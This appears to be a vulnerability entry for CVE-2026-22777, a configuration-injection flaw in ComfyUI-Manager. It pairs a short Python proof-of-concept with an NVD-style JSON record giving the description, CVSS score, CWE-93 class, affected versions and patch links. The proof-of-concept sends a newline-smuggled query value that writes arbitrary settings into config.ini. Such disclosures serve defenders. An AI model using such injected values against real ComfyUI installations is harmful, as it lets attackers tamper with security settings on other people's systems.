CVE-2026-22777

import requests # CVE-2026-22777 PoC - Configuration Injection url = "http://target.com/api/config" payload = { "key": "malicious_key\nmalicious_config=true", "value": "injected_value" } response = requests.get(url, params=payload) print(response.text)

{"cve": {"id": "CVE-2026-22777", "sourceIdentifier": "[email protected]", "published": "2026-01-10T07:16:03.680", "lastModified": "2026-02-05T21:02:05.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior. This issue has been patched in versions 3.39.2 and 4.0.5."}, {"lang": "es", "value": "ComfyUI-Manager es una extensión diseñada para mejorar la usabilidad de ComfyUI. Antes de las versiones 3.39.2 y 4.0.5, un atacante puede inyectar caracteres especiales en los parámetros de consulta HTTP para añadir valores de configuración arbitrarios al archivo config.ini. Esto puede llevar a la manipulación de la configuración de seguridad o a la modificación del comportamiento de la aplicación. Este problema ha sido parcheado en las versiones 3.39.2 y 4.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:comfy:comfyui-manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.39.2", "matchCriteriaId": "A013F11E-DEAA-4DA0-97EE-667AEDE64317"}, {"vulnerable": true, "criteria": "cpe:2.3:a:comfy:comfyui-manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.3", "versionEndExcluding": "4.0.5", "matchCriteriaId": "739DC981-BB57-45A4-A8CB-1CF26CA53EB2"}]}]}], "references": [{"url": "https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}